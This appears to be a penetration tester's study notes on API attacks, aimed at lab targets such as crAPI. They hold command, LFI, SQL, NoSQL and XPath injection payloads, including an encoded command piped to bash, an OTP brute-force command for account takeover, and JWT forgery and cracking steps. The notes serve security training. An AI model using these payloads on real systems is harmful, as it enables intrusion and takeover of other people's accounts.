API Security & Attacks

API Attacks

Excessive Data Disclosure:

• When the response gives you additional information which is not relevant to your request. An example of this would be to give email, account creation, privilege information etc for other users that is not relevant to this request.

BOLA:

• When you can access resources you're not authorized to.

BFLA:

• When you can perform actions and functions you're not authorized to.
• This can apply for both lateral and escalated actions.

Improper Assets Management:

• Testing Versioning essentially. (V1,V2,V3)
• Set variable to change versioning on all requests in postman, in both authorized and unauthorized sessions
• Examples of vulnerabilities might be lack of rate limiting, command injection, excessive data exposure, etc that would not be taking place in another version. Typically the earlier version contains more issues

Mass Assignment:

• Adding or overwriting parameters and object properties to manipulate response. An example would be to add your own user as an administrator upon account creation by doing exactly this.
• Look for parameters involved in user account properties, critical functions, and administrative actions.

API Command Injection

{ "target":"\";echo cGluZyAtYzIgMTAuMTMuNC4y | base64 -d | bash; \"" }

API LFI

01{"filename":"/../../../../../../../../etc/passwd"}

API NOSQL INJECTION

{"search":"a'||'a'=='a"}

API SQL INJECTION

{"passphrase":"465d51506b57487d78567d5d55457379","reminder":"Hiii'"}

IDOR

Insecure direct object references

Autorize (Detects some authorization vulnerabilities - Useful for IDOR) https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f

Bypassing Rate Limiting For OTP

This is one way of Bypassing Rate Limiting For OTP through Improper Assets Management. We used someone elses email, pressed forgot password, adn we found this check-otp endpoint.

Can we bruteforce the OTP?

It seems after 8 requests it refuses to check anymore. Any way around this?

Through Improper Assets Management in this example we can. The web application accepts v2 of the API at this endpoint, and it does not have proper rate limiting set up. As a result we can bruteforce without any prevention.

And since burp community is too slow, we'll be using ffuf.

01ffuf -u '<http://crapi.apisec.ai:8888/identity/api/auth/v2/check-otp'> -d '{"email":"b@b.com","otp":"FUZZ","password":"IAMAdog1"}' -w userlist.txt -X POST -H 'Content-Type:application/json' -fw 5

From here, we can perform Account Takeover with our newly set password.

Algorithm Confusion

Go to /jwks.json

{"kty":"RSA","e":"AQAB","use":"sig","kid":"210f90e4-b2a3-493d-b3a4-48092adab621","alg":"RS256","n":"2szo0HGPkojlsWE_ueXHOmOuVVZiYv1QyG1Hp79CHfD6Y9rJKbVz49CRWTzofqc_A4LfwaeIDpIA6lTtt7P3haLxIt-ZsWQNEjjhaUi-9gS8jrsVR_hQaT-X4zdlm0n_lVplAfJjMLK43yOcXzACNw-PdIOCXC8XRWfflMkrAvZT_whV5yNSemLyR2S_U_Fr4eHKVCwgo6Vc4nFG0HN_ARFwRzlmkXkQX1tdP-PpBuq58YdYF5tcZRlXcg9aKn3R3Jw1gR7E2RR9EkCdkL5a9JDPpYijui6B1xB7vsGzGYRG1LvbcEkv34MuPGdl4H0zih4Gpu5vPAp5oX-lFgryfw"}

1. Copy the above in that format.
2. Make a new RSA key. Copy paste the above. Then go to PEM section, ctrl a copy.
3. Go to convert all to base64 and copy the base64 output

1. New symmetric key. Generate.

2. Change the “k” valeu to the base64 output from last step.

3. Now change the kid value to that of our current user token. save key

4. Now change the alg to HS256, and the sub to administrator

5. Then sign the newly created symmetrically signed key

that's it! :)

Cracking JWT signature

use crunch or rockyou etc for lists crunch 5 5 > pass.txt

Make a user. Take their JWT token and attempt cracking it like so: john --wordlist=/usr/share/wordlists/rockyou.txt jwt --format=HMAC-SHA512 --fork=4

Or like so: jwt_tool eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJiQGIuY29tIiwiaWF0IjoxNjY4ODEwNDE1LCJleHAiOjE2Njg4OTY4MTV9.MsWAWE_9SaFUlFnnJM_RAk1egQcD9JMNaETPEZ-myrOaynYyPeVvXCUfE5MfzfD3ob2TWJz00OxBFTwdb5h0tA -C -d /home/kali/ja

Now, what you can do is this:

• You're logged in as this user with this token: https://jwt.io/ Let's now modify the email to another user, and see if we can access their account, even though we don't know their password. We tried changing to a@a.com, but no luck.

Let's modify the token in jwt again but this time use the password from the API provider for the signature that we cracked. And BAM, this allows us to perform an account takeover without their password.

Hashcat syntax: hashcat -m 16500 jwt /usr/share/wordlists/rockyou.txt

JKU Injection

Generate RSA key.

Then copy

Set up exploit server and host file with this body: { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "09a1fb72-62d0-4734-8314-50584ff91b44", "n": "iDveG1SIP0OyqigWSEljDa64qihOw7cwuCiiHpb68ZdFR8i2XnHqkkcJRwUzYucLyxfIbXsBtjt-V9f8gY_WS79iAbWsQ08YJmgA9Nhv1dwIkpFUWES7JhYyILgqpzhKz25wrv6iKVYYKLXlzqS9UvruUjx06ia-DvLMC66Q0yeYeZa_AkbSVDiTb-HnxLaLogQN3xheSmNz2a6jbyaMwUSjJqDXzV0skvlIoTikwK3Yhup-AgteLH7eZyjSpbzkVjdMZ4sGgjHKNbqK8mXfNbUbXlQjWCRp5g7up26h4xqHnZBgF6tK6i8h9Mwib06y-f7z4isQDDgTrELzQi4iNw" } ] }

Then modify sub and kid values, inject a jku paramater with the hosted file on your exploit server, and finally sign it with your create RSA key.

JWK Injection

Generate RSA Key.

Change sub value to the account you wanna take over.

“Attack”, “Embedded JWK”, then Sign the key. Values will get updated, and we can now perform ATO on the admin.

KID path traversal

Make new symmetric key. In the “k” value insert a base64 encoded nullbyte like so

Modify kid value, sub value, and finally sign it with our modified symmetric key.

none signature

Sometimes developers does not check the signature so you can literally just alter “alg” to "none". And remove the signature value entirely in the JWT except the trailing dot.

Mass Assignment

When we login we can see admin=false value. We now have an idea of which paramaters the API allows. We can attempt a mass assignment attack with the admin=true in potentially either a login request or a user creation request.

Let's add the admin value

As as we intercept the response to our request, our new user is now set up as a admin!

XPATH INJECTION

'or'1'='1 'or'true()'or' a' or true() or '

' or '1'='1 ' or ''=' x' or 1=1 or 'x'='y / // //* */* @* count(/child::node()) x' or name()='username' or 'x'='y ' and count(/*)=1 and '1'='1 ' and count(/@*)=1 and '1'='1 ' and count(/comment())=1 and '1'='1 search=')] | //user/*[contains(*,' search=Har') and contains(../password,'c search=Har') and starts-with(../password,'c ' or 1]%00

Modified

API enumeration

Perform scanning with kiterunner and fuzzer to find endpoints. mitmweb manual web test especially for APIs import mitmweb file to postmaN chain postman thoruhg burp (passive listening on burp) run full collection with whatever u want

BAM, from here u have full targetlist on both postman and burpsuite with the benefits of the tools from each ; )

mitmweb (capture all manual requests) sudo mitmproxy2swagger -i ~/Downloads/flows -o spec.yaml -p 'http://crapi.apisec.ai:8888' -f flow sudo subl spec.yaml (import to postman - fix login request, add token, save, setup test, and proxy through burp)

• Scan for endpoints
• fuzz for paramaters in both body and URL

https://www.ethicalcheck.dev/

Finding username_email

API Endpoint: /identity/api/auth/login

This allows us to easily enumerate emails through the API.

Username/email doesn't exist. Username/email exists, but wrong password. Successful login.

kiterunner

https://github.com/assetnote/kiterunner kr scan <http://127.0.0.1> -A=apiroutes-210328:20000

sudo wget <https://wordlists-cdn.assetnote.io/data/kiterunner/routes-large.kite.tar.gz> sudo tar -xvf routes-large.kite.tar.gz kr scan <http://127.0.0.1:80> -w routes-large.kite

Do's and don'ts

1 _ Broken Object Level Authorization

10 _ Unsafe Consumption of APIs

2 _ Broken Authentication

3 _ Broken Object Property Level Authorization

4 _ Unrestricted Resource Consumption_ Rate Limiti

5 _ Broken Function Level Authorization

6 _ Server-Side Resource Forgery

7 _ Security Misconfigurations

8 _ Lack of Protection frin Automated Threats

9 _ Improper Inventory Management

API

API Security guidelines: https://www.mediafire.com/file/hkfx8ydpuw2qrry/API+Security+guidelines.pdf/file

Training

TryHackMe

1. Bookstore (free)
2. IDOR (paid)
3. GraphQL (paid)

HackTheBox (Retired Machines)

1. Craft
2. Postman
3. JSON
4. Node
5. Help

Github (Vulnerable Apps)

1. Pixi
2. REST API Goat
3. DVWS-node
4. Websheep
5. https://github.com/rahulunair/vulnerable-api
6. https://university.apisec.ai/products/apisec-certified-expert/categories/2150251486/posts/2157710632